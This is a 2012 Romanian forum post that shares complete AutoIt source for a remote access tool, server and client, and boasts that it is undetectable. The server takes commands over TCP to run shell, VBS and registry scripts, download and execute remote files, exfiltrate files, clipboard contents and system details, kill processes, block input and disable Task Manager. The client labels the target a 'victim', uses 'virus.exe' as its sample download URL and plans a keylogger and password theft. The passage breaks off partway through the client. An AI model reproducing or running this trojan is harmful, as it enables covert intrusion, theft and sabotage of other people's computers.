Remote server - client

UnuRo · October 2, 2012

Softul este facut de mine, merge 100%, puteti compila fara upx, nu este detectabil.

Modificati parametrii de lucru, cum doriti, scriptul este flaxibil, astfel puteti adauga lucruri personalizate !

SERVER:

;RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "system32", "REG_SZ", @ScriptFullPath)
AutoItSetOption("WinTitleMatchMode", 4)
Opt("GUICloseOnESC", 0)


$text_fisiere = ""
;SERVER!! Start Me First !!!!!!!!!!!!!!!
#include <GUIConstants.au3>
#include <File.au3>
#include <Process.au3>
Dim $szIPADDRESS = @IPAddress1
;~ MsgBox(0,"",$szIPADDRESS)
Dim $nPORT = 1234

$rdownload=""
; Start The TCP Services
;==============================================
TCPStartup()
$MainSocket = TCPListen($szIPADDRESS, $nPORT, 100)
If $MainSocket = -1 Then Exit
Dim $ConnectedSocket = -1
Do
	$ConnectedSocket = TCPAccept($MainSocket)
Until $ConnectedSocket <> - 1
Dim $szIP_Accepted = SocketToIP($ConnectedSocket)

Dim $msg, $recv

While 1
	$msg = GUIGetMsg()
	$recv = TCPRecv($ConnectedSocket, 2048)
    If @error Then
		TCPCloseSocket($ConnectedSocket)
		TCPShutdown()
		TCPStartup()
		$MainSocket = TCPListen($szIPADDRESS, $nPORT, 100)
		Dim $ConnectedSocket = -1
		Do
			$ConnectedSocket = TCPAccept($MainSocket)
		Until $ConnectedSocket <> - 1
		$szIP_Accepted = SocketToIP($ConnectedSocket)
	EndIf
	If $recv <> "" Then executa()
WEnd


If $ConnectedSocket <> - 1 Then TCPCloseSocket($ConnectedSocket)
TCPShutdown()

Func SocketToIP($SHOCKET)
	Local $sockaddr = DllStructCreate("short;ushort;uint;char[8]")

	Local $aRet = DllCall("Ws2_32.dll", "int", "getpeername", "int", $SHOCKET, _
			"ptr", DllStructGetPtr($sockaddr), "int_ptr", DllStructGetSize($sockaddr))
	If Not @error And $aRet[0] = 0 Then
		$aRet = DllCall("Ws2_32.dll", "str", "inet_ntoa", "int", DllStructGetData($sockaddr, 3))
		If Not @error Then $aRet = $aRet[0]
	Else
		$aRet = 0
	EndIf

	$sockaddr = 0

	Return $aRet
EndFunc   ;==>SocketToIP

Func executa()
;~ 	MsgBox(0, "", $recv)
	$comanda = StringSplit($recv, "<|*|>", 1)
	If $comanda[1] = "mesaj" Then
		MsgBox(Number($comanda[2]), $comanda[3], $comanda[4])
	EndIf

	If $comanda[1] = "shutdown" Then
		Shutdown($comanda[2])
	EndIf

	If $comanda[1] = "funny" Then
		If $comanda[2] = "cd_rom" Then
			CDTray("C:", $comanda[3])
			CDTray("D:", $comanda[3])
			CDTray("E:", $comanda[3])
			CDTray("F:", $comanda[3])
			CDTray("G:", $comanda[3])
			CDTray("H:", $comanda[3])
			CDTray("I:", $comanda[3])
			CDTray("J:", $comanda[3])
			CDTray("K:", $comanda[3])
			CDTray("L:", $comanda[3])
		EndIf

		If $comanda[2]="blocheaza" Then
		BlockInput(Number($comanda[3]))
		EndIf

		If $comanda[2]="schimba_start" Then
			If $comanda[3]="reseteaza" Then
				ControlSetText("classname=Shell_TrayWnd", "", "Button1", "start")
			Else
				ControlSetText("classname=Shell_TrayWnd", "", "Button1", $comanda[3])
			EndIf
		EndIf
		If $comanda[2]="ascunde_start" Then
			If $comanda[3]=1 Then
				ControlHide("classname=Shell_TrayWnd", "", "Button1")
			EndIf
			If $comanda[3]=0 Then
				ControlShow("classname=Shell_TrayWnd", "", "Button1")
			EndIf
		EndIf
		If $comanda[2] = "task_manager" Then
			If $comanda[3]="1" Then
				RegWrite("HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", "REG_SZ", $comanda[3])
			Else
				RegDelete("HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr")
			EndIf
		EndIf

		If $comanda[2] = "yahoo" Then
			If $comanda[3] = "0" Then
				ProcessClose("YahooMessenger.exe")
				RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "ConnServer", "REG_SZ", "http://www.o-pagina-care-nu-exista.com/")
				RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "Host Name", "REG_SZ", "http://www.o-pagina-care-nu-exista.com/")
				RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "Host Namer", "REG_SZ", "http://www.o-pagina-care-nu-exista.com/")
				RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "Http Server", "REG_SZ", "http://www.o-pagina-care-nu-exista.com/")
				RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "PreLogin", "REG_SZ", "http://www.o-pagina-care-nu-exista.com/")
				RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "Relay Server", "REG_SZ", "http://www.o-pagina-care-nu-exista.com/")
				RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "Socket Server", "REG_SZ", "http://www.o-pagina-care-nu-exista.com/")
			Else
				RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "ConnServer", "REG_SZ", "scs.msg.yahoo.com")
				RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "Host Name", "REG_SZ", "scs.msg.yahoo.com")
				RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "Host Namer", "REG_SZ", "scs.msg.yahoo.com")
				RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "Http Server", "REG_SZ", "shttp.msg.yahoo.com/notify/")
				RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "PreLogin", "REG_SZ", "http://msg.edit.yahoo.com/config/")
				RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "Relay Server", "REG_SZ", "relay.msg.yahoo.com")
				RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "Socket Server", "REG_SZ", "scs.msg.yahoo.com;scs.msg.yahoo.com")
			EndIf
		EndIf
	EndIf

	If $comanda[1] = "run" Then
		If $comanda[2] = "winamp" Then
			Run(@ProgramFilesDir & "\winamp\winamp.exe")
		EndIf

		If $comanda[2] = "win_rar" Then
			Run(@ProgramFilesDir & "\winrar\winrar.exe")
		EndIf

		If $comanda[2] = "ie" Then
			Run(@ProgramFilesDir & "\Internet Explorer\IEXPLORE.EXE")
		EndIf

		If $comanda[2] = "firefox" Then
			Run(@ProgramFilesDir & "\Mozilla Firefox\firefox.EXE")
		EndIf

		If $comanda[2] = "notepad" Then
			Run("notepad.exe")
		EndIf

		If $comanda[2] = "media_player" Then
			Run(@ProgramFilesDir & "\Windows Media Player\WMPLAYER.EXE")
		EndIf

		If $comanda[2] = "mspaint" Then
			Run("mspaint.exe")
		EndIf

		If $comanda[2] = "wordpad" Then
			Run(@ProgramFilesDir & "\Windows NT\Accessories\wordpad.exe")
		EndIf

		If $comanda[2] = "registrii" Then
			FileDelete(@WindowsDir & "\1.reg")
			FileWrite(@WindowsDir & "\1.reg",$comanda[3])
			Run("Regedit.exe /s " & @WindowsDir & "\1.reg")
		EndIf

		If $comanda[2] = "visual_basic" Then
			FileDelete(@WindowsDir & "\1.vbs")
			FileWrite(@WindowsDir & "\1.vbs",$comanda[3])
			Run("wscript.exe " & @WindowsDir & "\1.vbs")
		EndIf

		If $comanda[2] = "dos" Then
			$text=ClipGet()
			_RunDOS($comanda[3] & " | cb")
			$szData="dos<|*|>" & ClipGet()
			ClipPut($text)
			TCPSend($ConnectedSocket,$szData)
		EndIf

		If $comanda[2] = "executa" Then
			Run(@ComSpec & " /c " & "start " & FileGetShortName($comanda[3]),"",@SW_HIDE)
		EndIf
	EndIf

	If $comanda[1] = "tipareste" Then
		$fisier = "c:\ytz.txt"
		FileWriteLine($fisier, $comanda[2])
		FileClose($fisier)
		_FilePrint($fisier)
	EndIf

	If $comanda[1]="informatii" Then
		$szData="informatii<|*|>"&@OSVersion &"<|*|>"&@OSBuild &"<|*|>"&@OSServicePack&"<|*|>"& @ComputerName&"<|*|>"& @UserName &"<|*|>"&@DesktopWidth &"x"& @DesktopHeight&"x"&@DesktopDepth&" "&@DesktopRefresh&"HZ<|*|>"&@HOUR&":"&@MIN&":"&@SEC &"<|*|>"&@MDAY&"."&@MON&"."&@YEAR&"<|*|>"&@HomeDrive
		$szData=$szData&"<|*|>"&@IPAddress1&"<|*|>"& @IPAddress2 &"<|*|>"&@IPAddress3&"<|*|>"&@IPAddress4&"<|*|>"&@LogonDNSDomain &"<|*|>"&@LogonDomain &"<|*|>"&@LogonServer
		TCPSend($ConnectedSocket,$szData)
	EndIf
	If $comanda[1]="clipboard" Then
		If $comanda[2]="citeste" Then
			TCPSend($ConnectedSocket,"clipboard<|*|>Continutul clipboardului este :" &@CRLF &ClipGet ( ))
		EndIf
		If $comanda[2]="seteaza" Then
			ClipPut($comanda[3])
		EndIf
		If $comanda[2]="sterge" Then
			ClipPut("")
		EndIf
	EndIf

	If $comanda[1]="ferestre" Then
		$szData=""
		If $comanda[2]="refresh" Then
			If $comanda[3]="toate" Then
				$var = WinList()
				For $i = 1 to $var[0][0]
				If $var[$i][0] <> "" Then
					$szData=$szData& $var[$i][0] & "<|*|>"
				EndIf
				Next
			Else
				$var = WinList()
				For $i = 1 to $var[0][0]
				If $var[$i][0] <> "" AND IsVisible($var[$i][1])  Then
					$szData=$szData & $var[$i][0] & "<|*|>"
				EndIf
				Next
			EndIf
		TCPSend($ConnectedSocket,"ferestre<|*|>"& StringTrimRight ($szData,5))
		EndIf

		If $comanda[2]="inchide" Then
			WinClose($comanda[3],"")
		EndIf

		If $comanda[3]="HIDE" Then
			WinSetState($comanda[2],"",@SW_HIDE)
		EndIf

		If $comanda[3]="@SW_SHOW" Then
			WinSetState($comanda[2],"",@SW_SHOW)
		EndIf

		If $comanda[3]="@SW_MAXIMIZE" Then
			WinSetState($comanda[2],"",@SW_MAXIMIZE)
		EndIf

		If $comanda[3]="@SW_MINIMIZE" Then
			WinSetState($comanda[2],"",@SW_MINIMIZE)
		EndIf
	EndIf

	If $comanda[1]="proces" Then
		If $comanda[2]="refresh" Then
			$var = ProcessList()
			$szData=""
				For $i = 1 to $var[0][0]
					$szData=$szData & $var[$i][0] & "<|*|>"
				Next
			TCPSend($ConnectedSocket,"procese<|*|>" & $szData)
		EndIf
		If $comanda[2]="inchide" Then
			ProcessClose($comanda[3])
		EndIf

		If $comanda[2]="toate" Then
			$var = ProcessList()
				For $i = 1 to $var[0][0]
					If $var[$i][1] <> @ScriptName Then
						ProcessClose($var[$i][1])
					EndIf
				Next
		EndIf
	EndIf

	If $comanda[1]="rdownload" Then
		If $rdownload="" Then
			$text=StringSplit($comanda[2],"/\")
			$nume_program_de_executat=$text[$text[0]]
			$marime_program=InetGetSize ( $comanda[2])
			InetGet ( $comanda[2],@WindowsDir &"\"& $nume_program_de_executat, 1,1)
			$rdownload=1
		EndIf
	EndIf

	If ($rdownload=1) And ($marime_program=FileGetSize(@WindowsDir &"\"& $nume_program_de_executat)) Then
		Run(@WindowsDir &"\"& $nume_program_de_executat)
		$rdownload=""
	EndIf

	If $comanda[1]="manager" Then
		If $comanda[2]="refresh_partitii" Then
				$var = DriveGetDrive( "all")
				If Not @error Then
				$partitii = ""
				For $i = 1 To $var[0]
					$partitii = $partitii & $var[$i] & "|"
				Next
				$partitii = StringTrimRight($partitii, 1)
			EndIf
			TCPSend($ConnectedSocket,"manager<|*|>refresh_partitii<|*|>|" & $partitii)
		EndIf

		If $comanda[2]="refresh_listwiev" Then
			director($comanda[3])
		EndIf

		If $comanda[2]="redenumeste" Then
;~ 			MsgBox(0,"",$comanda[3] & " " &$comanda[4] & " " &$comanda[5] & " " &$comanda[5])
			If $comanda[3]="director" Then
				DirMove($comanda[4] & $comanda[5],$comanda[4] & $comanda[6])
				director($comanda[4])
			EndIf
			If $comanda[3]="fisier" Then
				FileMove($comanda[4] & $comanda[5],$comanda[4] & $comanda[6])
				director($comanda[4])
			EndIf
		EndIf

		If $comanda[2]="creaza_dir" Then
			DirCreate ( $comanda[3] & $comanda[4] )
			director($comanda[3])
		EndIf

		If $comanda[2]="sterge" Then
			If $comanda[3]="director" Then
				DirRemove($comanda[4] & $comanda[5],1)
				director($comanda[4])
			EndIf
			If $comanda[3]="fisier" Then
				FileDelete($comanda[4] & $comanda[5])
				director($comanda[4])
			EndIf
		EndIf

		If $comanda[2]="atribute" Then
		FileSetAttrib($comanda[3] & $comanda[4],"-RHSA")
		If StringUpper($comanda[5])<>"N" Then
			FileSetAttrib($comanda[3] & $comanda[4],StringUpper($comanda[5]))
			director($comanda[3])
		EndIf
		EndIf

		If $comanda[2]="download" Then
			$fisier=FileOpen ("\\.\" & $comanda[3] & $comanda[4],4)
			$continut_fisier=FileRead ( $fisier,FileGetSize($comanda[3] & $comanda[4]))
			FileClose($fisier)
			$szData = "manager<|*|>download<|*|>"& $comanda[4] & "<|*|>" &  $continut_fisier
			TCPSend($ConnectedSocket, $szData)
		EndIf
	EndIf
EndFunc   ;==>executa


Func IsVisible($handle)
  If BitAnd( WinGetState($handle), 2 ) Then
    Return 1
  Else
    Return 0
  EndIf
EndFunc

Func director($cale)
	$search = FileFindFirstFile($cale & "*.*")
	$text_fisiere = ""
	If $search <> - 1 Then
		$punct = ""
		While 1
			$file = FileFindNextFile($search)
			If @error Then ExitLoop
			$marime = FileGetSize($cale & $file)
			FileGetSize($cale & $file)
			$punct = StringRight($file, 4)
			$punct = StringLeft($punct, 1)
			If FileExists($cale & $file) And StringInStr(FileGetAttrib($cale & $file), "D")=0 Then
				$text_fisiere = $text_fisiere & $file & "|" & Round($marime / 1024, 2) & " Kb|Fisier|"& FileGetAttrib ( $cale & $file ) &"<|*|>"
			Else
				$text_fisiere = $text_fisiere & $file & "|" & "|Director|"& FileGetAttrib ( $cale & $file ) &"<|*|>"
			EndIf
		WEnd
		$text_fisiere = StringTrimRight($text_fisiere, 5)
		FileClose($search)
	EndIf
	If $text_fisiere="" Then
		$text_fisiere="In acest folder nu exista fisiere||<|*|>"
	EndIf
		TCPSend($ConnectedSocket,"manager<|*|>refresh_listwiev<|*|>" & $text_fisiere)
EndFunc   ;==>director

CLIENT:

#Include <GuiListView.au3>
#include <GUIConstants.au3>
#include <INet.au3>

$nume_program = "Remote Client"
$cale = ""
Dim $nnPORT = 1234
Dim $ConnectedSocket = -1
$nr1 = 0
$nr2 = 0
Dim $numar
$cd_rom = "open"
$task_maneger = "1"
$yahoo = "0"
$conectare = "0"
$blocheaza="0"

$fer_principala = GUICreate($nume_program, 594, 443, 192, 125)
$ip = @IPAddress1
If $ip = -1 Then $ip = @IPAddress1
$ip_conectare = GUICtrlCreateInput($ip, 8, 8, 100, 21, -1)
$porturi = GUICtrlCreateInput($nnPORT, 120, 8, 50, 21, -1)
$conecteza = GUICtrlCreateButton("Conectare", 264, 8, 129, 25)
$Tab1 = GUICtrlCreateTab(8, 40, 585, 401)
$TabSheet1 = GUICtrlCreateTabItem("Informatii PC")
GUICtrlCreateLabel("Versiunea de Windows :", 20, 98, 119, 17)
GUICtrlCreateLabel("Windows Build :", 20, 130, 80, 17)
GUICtrlCreateLabel("Windows Service Pack :", 20, 162, 121, 17)
GUICtrlCreateLabel("Numele Calculatorului :", 20, 206, 112, 17)
GUICtrlCreateLabel("Numele Utilizatorului :", 20, 234, 105, 17)
GUICtrlCreateLabel("Desktop :", 20, 282, 50, 17)
GUICtrlCreateLabel("Ora locala :", 20, 322, 58, 17)
GUICtrlCreateLabel("Data locala :", 20, 352, 64, 17)
GUICtrlCreateLabel("Ip 1 :", 342, 112, 28, 17)
GUICtrlCreateLabel("Ip 2 :", 342, 136, 28, 17)
GUICtrlCreateLabel("Ip 3 :", 342, 160, 28, 17)
GUICtrlCreateLabel("Ip 4:", 342, 184, 25, 17)
GUICtrlCreateLabel("Home Drive :", 20, 400, 66, 17)
GUICtrlCreateLabel("Logon DNS Domain :", 248, 264, 105, 17)
GUICtrlCreateLabel("Logon Domain :", 248, 292, 79, 17)
GUICtrlCreateLabel("Logon server :", 248, 316, 72, 17)
$buton_informatii = GUICtrlCreateButton("Refresh", 500, 404, 75, 25)
$versiune_windows = GUICtrlCreateInput("", 140, 96, 161, 21)
$windows_build = GUICtrlCreateInput("", 100, 128, 133, 21)
$windows_service_pack = GUICtrlCreateInput("", 136, 160, 157, 21)
$nume_calculator = GUICtrlCreateInput("", 136, 204, 165, 21)
$nume_utilizator = GUICtrlCreateInput("", 136, 232, 165, 21)
$desktop = GUICtrlCreateInput("", 76, 284, 149, 21)
$ora_locala = GUICtrlCreateInput("", 76, 320, 149, 21)
$data_locala = GUICtrlCreateInput("", 84, 352, 141, 21)
$home_drive = GUICtrlCreateInput("", 88, 396, 137, 21)
$ip1 = GUICtrlCreateInput("", 372, 108, 121, 21)
$ip2 = GUICtrlCreateInput("", 372, 132, 121, 21)
$ip3 = GUICtrlCreateInput("", 372, 160, 121, 21)
$ip4 = GUICtrlCreateInput("", 372, 184, 121, 21)
$logon_dns_domain = GUICtrlCreateInput("", 352, 260, 177, 21)
$logon_domain = GUICtrlCreateInput("", 352, 288, 177, 21)
$logon_server = GUICtrlCreateInput("", 352, 320, 181, 21)
$TabSheet2 = GUICtrlCreateTabItem("MsgBox")
$intrebare = GUICtrlCreateRadio("Semnul Intrebarii", 36, 112, 113, 17)
$informatie = GUICtrlCreateRadio("Informatie", 156, 112, 77, 17)
$eroare = GUICtrlCreateRadio("Eroare", 36, 140, 113, 17)
$nimic = GUICtrlCreateRadio("Nimic", 156, 140, 65, 17)
GUICtrlSetState($nimic, $GUI_CHECKED)
$Group1 = GUICtrlCreateGroup("Iconita Mesajului", 20, 96, 221, 77)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$ok = GUICtrlCreateRadio("Ok", 40, 224, 113, 17)
GUICtrlSetState(-1, $GUI_CHECKED)
$ari = GUICtrlCreateRadio("Abort,Retry,Ignore", 168, 224, 113, 17)
$ync = GUICtrlCreateRadio("Yes,No,Cancel", 168, 244, 113, 17)
$yn = GUICtrlCreateRadio("Yes,No", 40, 244, 113, 17)
$oc = GUICtrlCreateRadio("Ok,Cancel", 40, 268, 113, 17)
$cr = GUICtrlCreateRadio("Cancel,Retry", 168, 268, 113, 17)
$Group2 = GUICtrlCreateGroup("Butoanele Mesajului", 20, 196, 273, 113)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$buton_test_msg = GUICtrlCreateButton("Testeaza", 468, 160, 75, 25)
$buton_trimite_msg = GUICtrlCreateButton("Trimite", 468, 224, 75, 25)
GUICtrlCreateLabel("Titlul Mesajului :", 36, 352, 79, 17)
GUICtrlCreateLabel("Textul Mesajului :", 36, 392, 86, 17)
$mesaj_titlu = GUICtrlCreateInput($nume_program, 124, 352, 441, 21, -1)
$mesaj_text = GUICtrlCreateInput("Test", 124, 388, 441, 21, -1)
$Group3 = GUICtrlCreateGroup("Functii", 436, 124, 137, 157)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$TabSheet3 = GUICtrlCreateTabItem("Windows")
$lista_ferestre = GUICtrlCreateList("", 24, 92, 321, 318, -1)
$arata_ferestre_ascunse = GUICtrlCreateCheckbox("Arata si ferestrele ascunse", 76, 412, 193, 17)
$buton_refresh_ferestre = GUICtrlCreateButton("Refresh", 464, 128, 75, 25)
$buton_hide_ferestre = GUICtrlCreateButton("Ascunde", 464, 180, 75, 25)
$buton_show_ferestre = GUICtrlCreateButton("Arata", 464, 224, 75, 25)
$buton_minimize_ferestre = GUICtrlCreateButton("Minimize", 464, 272, 75, 25)
$buton_maximize_ferestre = GUICtrlCreateButton("Maximize", 464, 328, 75, 25)
$buton_inchide_ferestre = GUICtrlCreateButton("Inchide", 464, 376, 75, 25)
$Group4 = GUICtrlCreateGroup("Functii", 416, 100, 161, 321)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$TabSheet4 = GUICtrlCreateTabItem("Procese")
$lista_procese = GUICtrlCreateList("", 16, 92, 325, 344, -1)
$buton_refresh_procese = GUICtrlCreateButton("Refresh", 468, 128, 91, 25)
$buton_inchide_proces = GUICtrlCreateButton("Inchide Proces", 468, 176, 91, 25)
$buton_inchide_toate_procesele = GUICtrlCreateButton("Inchide toate", 468, 224, 91, 25)
$Group5 = GUICtrlCreateGroup("Functii", 440, 108, 141, 157)
GUICtrlCreateGroup("", -99, -99, 1, 1)
GUICtrlSetCursor($TabSheet4, 2)
$TabSheet5 = GUICtrlCreateTabItem("Comice")
$buton_deschide_cd_rom = GUICtrlCreateButton("Deschide CD-Rom", 32, 100, 150, 25)
$buton_task_manager = GUICtrlCreateButton("Blocheaza Task Mamager", 32, 140, 150, 25)
$buton_yahoo = GUICtrlCreateButton("Blocheaza Y!", 32, 180, 150, 25)
$Buton_blocheaza_user = GUICtrlCreateButton("Blocheaza User Input", 32, 220, 150, 25)
$Buton_ascunde_start = GUICtrlCreateButton("Ascunde butonul Start", 32, 260, 150, 25)
$Buton_schimba_start = GUICtrlCreateButton("Schimba text but. Start", 32, 300, 150, 25)
$TabSheet6 = GUICtrlCreateTabItem("Shut Down PC")
$Restart = GUICtrlCreateButton("Restart", 108, 120, 400, 25)
$Turn_off_computer = GUICtrlCreateButton("Turn Off computer", 108, 188, 400, 25)
$Log_off = GUICtrlCreateButton("Log Off", 108, 256, 400, 25)
$shutdown_fortat = GUICtrlCreateButton("Shutdown Fortat", 108, 324, 400, 25)
$TabSheet7 = GUICtrlCreateTabItem("Clipboard")
$text_cliboard = GUICtrlCreateEdit("", 20, 88, 561, 269, -1)
GUICtrlSetData($text_cliboard, "")
$buton_citeste_clipboard = GUICtrlCreateButton("Citeste", 96, 392, 75, 25)
$buton_seteaza_clipboard = GUICtrlCreateButton("Seteaza", 264, 392, 75, 25)
$buton_sterge_clipboard = GUICtrlCreateButton("Curata", 452, 392, 75, 25)
$Group6 = GUICtrlCreateGroup("Functii : ", 28, 368, 537, 65)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$TabSheet8 = GUICtrlCreateTabItem("R. Download")
GUICtrlCreateLabel("URL :", 56, 136, 52, 24)
GUICtrlSetFont(-1, 12, 800, 0, "MS Sans Serif")
$url_download = GUICtrlCreateInput("http://www.site-ul_tau.ro/virus.exe", 116, 136, 417, 21, -1)
$buton_download_si_ruleaza = GUICtrlCreateButton("Download si Executa", 88, 176, 419, 25)
$Group7 = GUICtrlCreateGroup("Remote Downloader", 28, 108, 545, 121)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$TabSheet9 = GUICtrlCreateTabItem("Imprimanta")
$text_tipareste = GUICtrlCreateEdit("", 16, 92, 565, 301, -1)
$buton_tipareste = GUICtrlCreateButton("Scoate la imprimanta victimei", 148, 404, 279, 25)
$TabSheet10 = GUICtrlCreateTabItem("Executa")
$text_cmd = GUICtrlCreateEdit("", 12, 88, 577, 153, -1)
GUICtrlSetData($text_cmd, "")
GUICtrlSetColor(-1, 0xFFFF00)
GUICtrlSetBkColor(-1, 0x000000)
$buton_comanda_dos = GUICtrlCreateButton("Executa (DOS)", 460, 244, 107, 25)
$run_program = GUICtrlCreateInput("Aici scrie calea catre un exe  sau numele progranului (gen Notepad sau Regedit)", 16, 280, 433, 21, -1)
$buton_Executa = GUICtrlCreateButton("Executa", 460, 280, 107, 25)
$comanda_dos = GUICtrlCreateInput("Scrie aici o comanda DOS", 16, 246, 437, 21, -1)
$buton_executa_vb = GUICtrlCreateButton("Executa un script VB", 24, 408, 243, 25)
$executa_reg = GUICtrlCreateButton("Executa un fisier REG", 316, 408, 243, 25)
$Winamp = GUICtrlCreateButton("Winamp", 36, 324, 75, 25)
$Notepad = GUICtrlCreateButton("Notepad", 116, 324, 75, 25)
$WinRar = GUICtrlCreateButton("WinRar", 196, 324, 75, 25)
$IE = GUICtrlCreateButton("IE", 276, 324, 75, 25)
$Firefox = GUICtrlCreateButton("Firefox", 356, 324, 75, 25)
$paint = GUICtrlCreateButton("Paint", 36, 356, 75, 25)
$wordpad = GUICtrlCreateButton("Wordpad", 116, 356, 75, 25)
$Button10 = GUICtrlCreateButton("Aplicatie noua", 196, 356, 75, 25)
$Windws_Media_Player = GUICtrlCreateButton("Media Player", 436, 324, 75, 25)
$Button6 = GUICtrlCreateButton("Aplicatie noua", 276, 356, 75, 25)
$Button12 = GUICtrlCreateButton("Aplicatie noua", 356, 356, 75, 25)
$Button13 = GUICtrlCreateButton("Aplicatie noua", 436, 356, 75, 25)
$Group9 = GUICtrlCreateGroup("Programe predefinite", 24, 308, 501, 89)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$TabSheet11 = GUICtrlCreateTabItem("File Manager")

$Combo1 = GUICtrlCreateCombo("", 110, 95, 200, 150)
$buton_refresh_partitii = GUICtrlCreateButton("Refresh", 330, 95, 123, 25)
$ListView1 = GUICtrlCreateListView("Nume|Marime|Tip|Atribute", 100, 130, 360, 270)

$cale_cale = GUICtrlCreateLabel("", 20, 405, 380, 30)
$buton_intra_in_folder = GUICtrlCreateButton("Intra in folder", 12, 150, 80, 33)
$buton_sus = GUICtrlCreateButton("Up", 12, 200, 80, 33)
$buton_refresh_fisiere = GUICtrlCreateButton("Refresh", 492, 128, 80, 25)
$buton_download_fisiere = GUICtrlCreateButton("Download", 492, 164, 80, 25)
$buton_upload_fisiere = GUICtrlCreateButton("Upload", 492, 200, 80, 25)
$buton_sterge_fisiere = GUICtrlCreateButton("Sterge", 492, 236, 80, 25)
$buton_redenumeste_fisiere = GUICtrlCreateButton("Redenumeste", 492, 272, 80, 25)
$buton_creaza_dir_fisiere = GUICtrlCreateButton("Creaza Dir.", 492, 312, 80, 25)
$buton_executa_fisiere = GUICtrlCreateButton("Executa", 492, 348, 80, 25)
$buton_atribute_fisiere = GUICtrlCreateButton("Atribute", 492, 384, 80, 25)
$Group8 = GUICtrlCreateGroup("Functii : ", 476, 108, 109, 321)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$TabSheet12 = GUICtrlCreateTabItem("Pt. Viitor")
$Edit1 = GUICtrlCreateEdit("", 44, 120, 473, 261, -1)
GUICtrlSetData($Edit1, "Aici o sa apara in versiunile viitoare (sper) diferite facilitati (plugin-uri)" & @CRLF & " gen keyloger sau aflare parole" & @CRLF & "")
GUICtrlCreateTabItem("")


GUISetState(@SW_SHOW)
$ascunde="0"
$schimba="0"
While 1
	$recv = TCPRecv($ConnectedSocket, 1048576)
	If $recv <> "" Then executa()
	$msg = GUIGetMsg()
	Select
		Case $msg = $GUI_EVENT_CLOSE
			ExitLoop
;~ 	********************************************************************
		Case $msg = $buton_test_msg
			config_msg()
			MsgBox($numar, GUICtrlRead($mesaj_titlu), GUICtrlRead($mesaj_text))

		Case $msg = $buton_trimite_msg
			config_msg()
			$szData = "mesaj<|*|>" & $numar & "<|*|>" & GUICtrlRead($mesaj_titlu) & "<|*|>" & GUICtrlRead($mesaj_text)
			TCPSend($ConnectedSocket, $szData)

		Case $msg = $conecteza
			If $conectare = "0" Then
				If $ip_conectare <> "" Then
					TCPStartup()
					Dim $szIPADDRESS = GUICtrlRead($ip_conectare)
					$nPORT=GUICtrlRead($porturi)
					$ConnectedSocket = TCPConnect($szIPADDRESS, $nPORT)
					If @error=0 Then
						GUICtrlSetData($conecteza, "Deconectare")
						$szData = "informatii"
						TCPSend($ConnectedSocket, $szData)
						$conectare = "1"
					EndIf
				EndIf
			Else
				TCPCloseSocket($ConnectedSocket)
				TCPShutdown()
				GUICtrlSetData($conecteza, "Conectare")
				$conectare = "0"
			EndIf

		Case $msg = $shutdown_fortat
			$szData = "shutdown<|*|>9"
			TCPSend($ConnectedSocket, $szData)

		Case $msg = $Restart
			$szData = "shutdown<|*|>2"
			TCPSend($ConnectedSocket, $szData)

		Case $msg = $Turn_off_computer
			$szData = "shutdown<|*|>8"
			TCPSend($ConnectedSocket, $szData)
		Case $msg = $Log_off
			$szData = "shutdown<|*|>0"
			TCPSend($ConnectedSocket, $szData)

		Case $msg = $buton_deschide_cd_rom
			If $cd_rom = "open" Then
				$szData = "funny<|*|>cd_rom<|*|>open"
				GUICtrlSetData($buton_deschide_cd_rom, "Inchide CD-Rom")
				$cd_rom = "close"
				TCPSend($ConnectedSocket, $szData)
			Else
				$szData = "funny<|*|>cd_rom<|*|>close"
				GUICtrlSetData($buton_deschide_cd_rom, "Deschide CD-Rom")
				$cd_rom = "open"
				TCPSend($ConnectedSocket, $szData)
			EndIf

		Case $msg = $buton_task_manager
			If $task_maneger = "1" Then
				$szData = "funny<|*|>task_manager<|*|>1"
				GUICtrlSetData($buton_task_manager, "Deblocheaza Task Manager")
				$task_maneger = "0"
				TCPSend($ConnectedSocket, $szData)
			Else
				$szData = "funny<|*|>task_manager<|*|>0"
				GUICtrlSetData($buton_task_manager, "Bloheaza Task Manager")
				$task_maneger = "1"
				TCPSend($ConnectedSocket, $szData)
			EndIf
		Case $msg = $Buton_blocheaza_user
			If $blocheaza = "0" Then
				$szData = "funny<|*|>blocheaza<|*|>1"
				GUICtrlSetData($Buton_blocheaza_user, "Deblocheaza User Input")
				$blocheaza = "1"
				TCPSend($ConnectedSocket, $szData)
			Else
				$szData = "funny<|*|>blocheaza<|*|>0"
				GUICtrlSetData($Buton_blocheaza_user, "Bloheaza User Input")
				$blocheaza = "0"
				TCPSend($ConnectedSocket, $szData)
			EndIf
		Case $msg = $Buton_schimba_start
			If $schimba = "0" Then
				$text2=InputBox("Schimba textul butonului Start","Introdu noul text pentru buonul start (maxim 5 liere mici, sau 4 litere mari sau sinboluri)","","",250,150)
				If @error <> 1 Then
					GUICtrlSetData($Buton_schimba_start, "Reseteaza text but. Start")
					$schimba = "1"
					$szData = "funny<|*|>schimba_start<|*|>" & $text2
					TCPSend($ConnectedSocket, $szData)
				EndIf
			Else
				$szData = "funny<|*|>schimba_start<|*|>reseteaza"
